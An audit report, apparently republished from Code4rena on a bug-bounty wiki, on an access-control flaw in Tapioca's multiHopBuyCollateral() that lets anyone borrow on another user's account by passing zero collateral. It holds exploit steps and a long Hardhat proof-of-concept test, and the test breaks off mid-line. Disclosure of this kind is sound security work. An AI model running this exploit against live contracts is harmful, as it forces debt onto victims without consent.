Anybody can buy collateral on behalf of other users without having any allowance using the multiHopBuyCollateral()
The multiHopBuyCollateral function only checks allowance for the collateral amount, not for the borrowed amount, so an attacker can take a borrow on behalf of another user without any allowance.
0xStalin Follow with peakbolt, plainshift and 3 others
Originally disclosed on Code4rena
Submitted by 0xStalin, also found by peakbolt, plainshift, KIntern_NA, Ack, and rvierdiiev
- Malicious actors can buy collateral on behalf of other users without having any allowance to do so.
- No unauthorized entity should be allowed to take borrows on behalf of other users.
Proof of Concept
- The
SGLLeverage::multiHopBuyCollateral()function allows users to level up cross-chain: Borrow more and buy collateral with it, the function receives as parameters the account that the borrow will be credited to, the amount of collateral to add (if any), the amount that is being borrowed and a couple of other variables. - The
SGLLeverage::multiHopBuyCollateral()function only calls thesolvent()modifier, which will validate that the account is solvent at the end of the operation. - The
collateralAmountvariable is used to compute the required number of shares to add the specifiedcollateralAmountas extra collateral to the borrower account, then there is a check to validate that the caller has enough allowance to add those shares of collateral, and if so, then the collateral is added and debited to thefromaccount
...
//add collateral
uint256 collateralShare = yieldBox.toShare(
collateralId,
collateralAmount,
false
);
_allowedBorrow(from, collateralShare);
_addCollateral(from, from, false, 0, collateralShare);
...
-
After adding the extra collateral (if any), the execution proceeds to call the
_borrow()to ask for a borrow specified by theborrowAmountparameter, and finally calls the USDO::sendForLeverage(). -
The problem is that the function only validates if the caller has enough allowance for the
collateralAmountto be added, but it doesn’t check if the caller has enough allowance for the equivalent of shares of theborrowAmount(which is the total amount that will be borrowed!). -
The exploit occurs when a malicious actor calls the
multiHopBuyCollateral()sending the values of the parameters as follows:-
from=> The account that will buy collateral and the borrow will be credited to -
collateralAmount=> Set as 0 -
borrowAmount=> The maximum amount that thefromaccount can borrow without falling into insolvency because of the borrowing- What will happen is that a malicious actor without any allowance will be able to skip the check that validates if it has enough allowance to add more collateral, and will be able to take the borrow on behalf of the
fromaccount, because theborrowShare(which represents the equivalent shares to take a borrow ofborrowAmount) is not used to validate if the caller has enough allowance to take that amount of debt on behalf of thefromaccount
- What will happen is that a malicious actor without any allowance will be able to skip the check that validates if it has enough allowance to add more collateral, and will be able to take the borrow on behalf of the
-
Coded a Poc
-
I used the
tapioca-bar-audit/test/singularity.test.tsas the base for this PoC.- If you’d like to use the original
tapioca-bar-audit/test/singularity.test.tsfile, just make sure to update these two lines as follow:
- If you’d like to use the original
diff --git a/singularity.test.ts b/singularity.test.ts.modified
index 9c82d10..9ba9c76 100755
--- a/singularity.test.ts
+++ b/singularity.test.ts.modified
@@ -3440,6 +3440,7 @@ describe('Singularity test', () => {
it('should bounce between 2 chains', async () => {
const {
deployer,
+ eoa1,
tap,
weth,
createTokenEmptyStrategy,
@@ -4082,7 +4083,7 @@ describe('Singularity test', () => {
ethers.constants.MaxUint256,
);
- await SGL_10.multiHopBuyCollateral(
+ await SGL_10.connect(eoa1).multiHopBuyCollateral(
deployer.address,
0,
bigDummyAmount,
- I highly recommend to create a new test file with the below code snippet for the purpose of validating this vulnerability, make sure to create this file in the same folder as the
tapioca-bar-audit/test/singularity.test.tsfile.
import hre, { ethers } from 'hardhat';
import { BigNumberish, BytesLike, Wallet } from 'ethers';
import { expect } from 'chai';
import { BN, getSGLPermitSignature, register } from './test.utils';
import {
loadFixture,
takeSnapshot,
} from '@nomicfoundation/hardhat-network-helpers';
import { LiquidationQueue__factory } from '../gitsub_tapioca-sdk/src/typechain/tapioca-periphery';
import {
ERC20Mock,
ERC20Mock__factory,
LZEndpointMock__factory,
OracleMock__factory,
UniswapV3SwapperMock__factory,
} from '../gitsub_tapioca-sdk/src/typechain/tapioca-mocks';
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import {
BaseTOFT,
BaseTOFTLeverageModule__factory,
BaseTOFTMarketModule__factory,
BaseTOFTOptionsModule__factory,
BaseTOFTStrategyModule__factory,
TapiocaOFT,
TapiocaOFT__factory,
TapiocaWrapper__factory,
} from '../gitsub_tapioca-sdk/src/typechain/tapiocaz';
import TapiocaOFTArtifact from '../gitsub_tapioca-sdk/src/artifacts/tapiocaz/TapiocaOFT.json';
describe('Singularity test', () => {
describe('multiHopBuyCollateral()', async () => {
const deployYieldBox = async (signer: SignerWithAddress) => {
const uriBuilder = await (
await ethers.getContractFactory('YieldBoxURIBuilder')
).deploy();
const yieldBox = await (
await ethers.getContractFactory('YieldBox')
).deploy(ethers.constants.AddressZero, uriBuilder.address);
return { uriBuilder, yieldBox };
};
const deployLZEndpointMock = async (
chainId: number,
signer: SignerWithAddress,
) => {
const LZEndpointMock = new LZEndpointMock__factory(signer);
return await LZEndpointMock.deploy(chainId);
};
const deployTapiocaWrapper = async (signer: SignerWithAddress) => {
const TapiocaWrapper = new TapiocaWrapper__factory(signer);
return await TapiocaWrapper.deploy(signer.address);
};
const Tx_deployTapiocaOFT = async (
lzEndpoint: string,
isNative: boolean,
erc20Address: string,
yieldBoxAddress: string,
hostChainID: number,
hostChainNetworkSigner: SignerWithAddress,
) => {
const erc20 = (
await ethers.getContractAt('IERC20Metadata', erc20Address)
).connect(hostChainNetworkSigner);
const erc20name = await erc20.name();
const erc20symbol = await erc20.symbol();
const erc20decimal = await erc20.decimals();
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
// @ts-ignore
const BaseTOFTLeverageModule = new BaseTOFTLeverageModule__factory(
hostChainNetworkSigner,
);
const leverageModule = await BaseTOFTLeverageModule.deploy(
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
);
const BaseTOFTStrategyModule = new BaseTOFTStrategyModule__factory(
hostChainNetworkSigner,
);
const strategyModule = await BaseTOFTStrategyModule.deploy(
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
);
const BaseTOFTMarketModule = new BaseTOFTMarketModule__factory(
hostChainNetworkSigner,
);
const marketModule = await BaseTOFTMarketModule.deploy(
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
);
const BaseTOFTOptionsModule = new BaseTOFTOptionsModule__factory(
hostChainNetworkSigner,
);
const optionsModule = await BaseTOFTOptionsModule.deploy(
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
);
const args: Parameters<TapiocaOFT__factory['deploy']> = [
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
leverageModule.address,
strategyModule.address,
marketModule.address,
optionsModule.address,
];
const TapiocaOFT = new TapiocaOFT__factory(hostChainNetworkSigner);
const txData = TapiocaOFT.getDeployTransaction(...args)
.data as BytesLike;
return { txData, args };
};
const attachTapiocaOFT = async (
address: string,
signer: SignerWithAddress,
) => {
const tapiocaOFT = new ethers.Contract(
address,
TapiocaOFTArtifact.abi,
signer,
);
return tapiocaOFT.connect(signer);
};
const mintAndApprove = async (
erc20Mock: ERC20Mock,
toft: BaseTOFT,
signer: SignerWithAddress,
amount: BigNumberish,
) => {
await erc20Mock.freeMint(amount);
await erc20Mock.approve(toft.address, amount);
};
it('Attacker will take a borrow on behalf of another user without having any allowance', async () => {
const {
deployer,
eoa1,
tap,
weth,
createTokenEmptyStrategy,
deployCurveStableToUsdoBidder,
magnetar,
createWethUsd0Singularity,
registerBigBangMarket,
wethUsdcOracle,
} = await loadFixture(register);
//Deploy LZEndpointMock
const LZEndpointMock_chainID_0 = await deployLZEndpointMock(
0,
deployer,
);
const LZEndpointMock_chainID_10 = await deployLZEndpointMock(
10,
deployer,
);
//Deploy TapiocaWrapper
const tapiocaWrapper_0 = await deployTapiocaWrapper(deployer);
const tapiocaWrapper_10 = await deployTapiocaWrapper(deployer);
//Deploy YB and Strategies
const yieldBox0Data = await deployYieldBox(deployer);
const YieldBox_0 = yieldBox0Data.yieldBox;
const usdo_0_leverage = await (
await ethers.getContractFactory('USDOLeverageModule')
).deploy(LZEndpointMock_chainID_0.address, YieldBox_0.address);
const usdo_0_market = await (
await ethers.getContractFactory('USDOMarketModule')
).deploy(LZEndpointMock_chainID_0.address, YieldBox_0.address);
const usdo_0_options = await (
await ethers.getContractFactory('USDOOptionsModule')
).deploy(LZEndpointMock_chainID_0.address, YieldBox_0.address);
const USDO_0 = await (
await ethers.getContractFactory('USDO')
).deploy(
LZEndpointMock_chainID_0.address,
YieldBox_0.address,
deployer.address,
usdo_0_leverage.address,
usdo_0_market.address,
usdo_0_options.address,
);
await USDO_0.deployed();
const usdo_10_leverage = await (
await ethers.getContractFactory('USDOLeverageModule')
).deploy(LZEndpointMock_chainID_10.address, YieldBox_0.address);
const usdo_10_market = await (
await ethers.getContractFactory('USDOMarketModule')
).deploy(LZEndpointMock_chainID_10.address, YieldBox_0.address);
const usdo_10_options = await (
await ethers.getContractFactory('USDOOptionsModule')
).deploy(LZEndpointMock_chainID_10.address, YieldBox_0.address);
const USDO_10 = await (
await ethers.getContractFactory('USDO')
).deploy(
LZEndpointMock_chainID_10.address,
YieldBox_0.address,
deployer.address,
usdo_10_leverage.address,
usdo_10_market.address,
usdo_10_options.address,
);
await USDO_10.deployed();
//Deploy Penrose
const BAR_0 = await (
await ethers.getContractFactory('Penrose')
).deploy(
YieldBox_0.address,
tap.address,
weth.address,
deployer.address,
);
await BAR_0.deployed();
await BAR_0.setUsdoToken(USDO_0.address);
//Deploy ERC20Mock
const ERC20Mock = new ERC20Mock__factory(deployer);
const erc20Mock = await ERC20Mock.deploy(
'erc20Mock',
'MOCK',
0,
18,
deployer.address,
);
await erc20Mock.toggleRestrictions();
// master contract
const mediumRiskMC_0 = await (
await ethers.getContractFactory('Singularity')
).deploy();
await mediumRiskMC_0.deployed();
await BAR_0.registerSingularityMasterContract(
mediumRiskMC_0.address,
1,
);
const mediumRiskMCBigBang_0 = await (
await ethers.getContractFactory('BigBang')
).deploy();
await mediumRiskMCBigBang_0.deployed();
await BAR_0.registerBigBangMasterContract(
mediumRiskMCBigBang_0.address,
1,
);
//Deploy TapiocaOFT
{
const txData =
await tapiocaWrapper_0.populateTransaction.createTOFT(
erc20Mock.address,
(
await Tx_deployTapiocaOFT(
LZEndpointMock_chainID_0.address,
false,
erc20Mock.address,
YieldBox_0.address,
31337,
deployer,
)
).txData,
ethers.utils.randomBytes(32),
false,
);
txData.gasLimit = await hre.ethers.provider.estimateGas(txData);
await deployer.sendTransaction(txData);
}
const tapiocaOFT0 = (await attachTapiocaOFT(
await tapiocaWrapper_0.tapiocaOFTs(
(await tapiocaWrapper_0.tapiocaOFTLength()).sub(1),
),
deployer,
)) as TapiocaOFT;
{
const txData =
await tapiocaWrapper_10.populateTransaction.createTOFT(
erc20Mock.address,
(
await Tx_deployTapiocaOFT(
LZEndpointMock_chainID_10.address,
false,
erc20Mock.address,
YieldBox_0.address,
31337,
deployer,
)
).txData,
ethers.utils.randomBytes(32),
false,
);
txData.gasLimit = await hre.ethers.provider.estimateGas(txData);
await deployer.sendTransaction(txData);
}
const tapiocaOFT10 = (await attachTapiocaOFT(
await tapiocaWrapper_10.tapiocaOFTs(
(await tapiocaWrapper_10.tapiocaOFTLength()).sub(1),
),
deployer,
)) as TapiocaOFT;
//Deploy strategies
const Strategy_0 = await createTokenEmptyStrategy(
YieldBox_0.address,
tapiocaOFT0.address,
);
const Strategy_10 = await createTokenEmptyStrategy(
YieldBox_0.address,
tapiocaOFT10.address,
);
// Set trusted remotes
const dstChainId0 = await LZEndpointMock_chainID_0.getChainId();
const dstChainId10 = await LZEndpointMock_chainID_10.getChainId();
await USDO_0.setTrustedRemote(
dstChainId10,
ethers.utils.solidityPack(
['address', 'address'],
[USDO_10.address, USDO_0.address],
),
);
await USDO_0.setTrustedRemote(
31337,
ethers.utils.solidityPack(
['address', 'address'],
[USDO_10.address, USDO_0.address],
),
);
await USDO_10.setTrustedRemote(
dstChainId0,
ethers.utils.solidityPack(
['address', 'address'],
[USDO_0.address, USDO_10.address],
),
);
await USDO_10.setTrustedRemote(
31337,
ethers.utils.solidityPack(
['address', 'address'],
[USDO_0.address, USDO_10.address],
),
);
await tapiocaWrapper_0.executeTOFT(
tapiocaOFT0.address,
tapiocaOFT0.interface.encodeFunctionData('setTrustedRemote', [
dstChainId10,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT10.address, tapiocaOFT0.address],
),
]),
true,
);
await tapiocaWrapper_0.executeTOFT(
tapiocaOFT0.address,
tapiocaOFT0.interface.encodeFunctionData('setTrustedRemote', [
31337,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT10.address, tapiocaOFT0.address],
),
]),
true,
);
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData('setTrustedRemote', [
dstChainId0,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT0.address, tapiocaOFT10.address],
),
]),
true,
);
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData('setTrustedRemote', [
dstChainId10,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT0.address, tapiocaOFT10.address],
),
]),
true,
);
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData('setTrustedRemote', [
31337,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT0.address, tapiocaOFT10.address],
),
]),
true,
);
// Link endpoints with addresses
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_0.address,
);
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_0.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_0.address,
);
await LZEndpointMock_chainID_0.setDestLzEndpoint(
USDO_10.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_0.setDestLzEndpoint(
USDO_0.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
USDO_0.address,
LZEndpointMock_chainID_0.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
USDO_10.address,
LZEndpointMock_chainID_0.address,
);
//Register tokens on YB
await YieldBox_0.registerAsset(
1,
tapiocaOFT0.address,
Strategy_0.address,
0,
);
await YieldBox_0.registerAsset(
1,
tapiocaOFT10.address,
Strategy_10.address,
0,
);
const tapiocaOFT0Id = await YieldBox_0.ids(
1,
tapiocaOFT0.address,
Strategy_0.address,
0,
);
const tapiocaOFT10Id = await YieldBox_0.ids(
1,
tapiocaOFT10.address,
Strategy_10.address,
0,
);
expect(tapiocaOFT0Id.gt(0)).to.be.true;
expect(tapiocaOFT10Id.gt(0)).to.be.true;
expect(tapiocaOFT10Id.gt(tapiocaOFT0Id)).to.be.true;
const bigDummyAmount = ethers.utils.parseEther('10');
await mintAndApprove(
erc20Mock,
tapiocaOFT0,
deployer,
bigDummyAmount,
);
await tapiocaOFT0.wrap(
deployer.address,
deployer.address,
bigDummyAmount,
);
await tapiocaOFT0.approve(
YieldBox_0.address,
ethers.constants.MaxUint256,
);
const toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false,
);
await YieldBox_0.depositAsset(
tapiocaOFT0Id,
deployer.address,
deployer.address,
0,
toDepositShare,
);
let yb0Balance = await YieldBox_0.amountOf(
deployer.address,
tapiocaOFT0Id,
);
expect(yb0Balance.eq(bigDummyAmount)).to.be.true; //bc of the yield
const { stableToUsdoBidder, curveSwapper } =
await deployCurveStableToUsdoBidder(
YieldBox_0,
tapiocaOFT0,
USDO_0,
false,
);
let sglMarketData = await createWethUsd0Singularity(
USDO_0,
tapiocaOFT0,
BAR_0,
await BAR_0.usdoAssetId(),
tapiocaOFT0Id,
mediumRiskMC_0,
YieldBox_0,
stableToUsdoBidder,
0,
);
const SGL_0 = sglMarketData.wethUsdoSingularity;
sglMarketData = await createWethUsd0Singularity(
USDO_0,
tapiocaOFT10,
BAR_0,
await BAR_0.usdoAssetId(),
tapiocaOFT10Id,
mediumRiskMC_0,
YieldBox_0,
stableToUsdoBidder,
0,
);
const SGL_10 = sglMarketData.wethUsdoSingularity;
await tapiocaOFT0.approve(
SGL_0.address,
ethers.constants.MaxUint256,
);
await YieldBox_0.setApprovalForAll(SGL_0.address, true);
await SGL_0.addCollateral(
deployer.address,
deployer.address,
false,
bigDummyAmount,
0,
);
const collateralShare = await SGL_0.userCollateralShare(
deployer.address,
);
expect(collateralShare.gt(0)).to.be.true;
const collateralAmount = await YieldBox_0.toAmount(
tapiocaOFT0Id,
collateralShare,
false,
);
expect(collateralAmount.eq(bigDummyAmount)).to.be.true;
//test wrap
await mintAndApprove(
erc20Mock,
tapiocaOFT10,
deployer,
bigDummyAmount,
);
await tapiocaOFT10.wrap(
deployer.address,
deployer.address,
bigDummyAmount,
);
const tapioca10Balance = await tapiocaOFT10.balanceOf(
deployer.address,
);
expect(tapioca10Balance.eq(bigDummyAmount)).to.be.true;
await tapiocaOFT10.approve(
YieldBox_0.address,
ethers.constants.MaxUint256,
);
await YieldBox_0.depositAsset(
tapiocaOFT10Id,
deployer.address,
deployer.address,
0,
toDepositShare,
);
yb0Balance = await YieldBox_0.amountOf(
deployer.address,
tapiocaOFT10Id,
);
expect(yb0Balance.eq(bigDummyAmount)).to.be.true; //bc of the yield
await tapiocaOFT10.approve(
SGL_10.address,
ethers.constants.MaxUint256,
);
await YieldBox_0.setApprovalForAll(SGL_10.address, true);
await SGL_10.addCollateral(
deployer.address,
deployer.address,
false,
bigDummyAmount,
0,
);
const sgl10CollateralShare = await SGL_10.userCollateralShare(
deployer.address,
);
expect(sgl10CollateralShare.eq(collateralShare)).to.be.true;
const UniswapV3SwapperMock = new UniswapV3SwapperMock__factory(
deployer,
);
const uniV3SwapperMock = await UniswapV3SwapperMock.deploy(
ethers.constants.AddressZero,
);
//lend some USD0 to SGL_10
const oraclePrice = BN(1).mul((1e18).toString());
const OracleMock = new OracleMock__factory(deployer);
const oracleMock = await OracleMock.deploy(
'WETHMOracle',
'WETHMOracle',
(1e18).toString(),
);
await wethUsdcOracle.deployed();
await wethUsdcOracle.set(oraclePrice);
const { bigBangMarket } = await registerBigBangMarket(
mediumRiskMCBigBang_0.address,
YieldBox_0,
BAR_0,
weth,
await BAR_0.wethAssetId(),
oracleMock,
0,
0,
0,
0,
0,
);
await weth.freeMint(bigDummyAmount.mul(5));
await weth.approve(
bigBangMarket.address,
ethers.constants.MaxUint256,
);
await weth.approve(YieldBox_0.address, ethers.constants.MaxUint256);
await YieldBox_0.setApprovalForAll(bigBangMarket.address, true);
await YieldBox_0.depositAsset(
await BAR_0.wethAssetId(),
deployer.address,
deployer.address,
bigDummyAmount.mul(5),
0,
);
await bigBangMarket.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The function checks allowance only for the collateral shares, not for the borrow shares, allowing a borrow to be taken on behalf of another account without permission.
Impact
An attacker could take a borrow on behalf of another user without any allowance, potentially causing financial harm to the victim.
What the attacker needed
Victim has a borrowable position; attacker knows victim's address
How it was found
- Call multiHopBuyCollateral with the victim's address as the from parameter.
- Set collateralAmount to zero to skip the allowance check.
- Set borrowAmount to the maximum the victim can borrow without becoming insolvent.
- The function borrows on behalf of the victim without any allowance.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a lending system, you normally need permission (an allowance) to borrow money on someone else's behalf. This function only checked permission for the extra collateral you add, not for the loan itself. So an attacker could set the collateral to zero and still force a loan onto another user's account.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.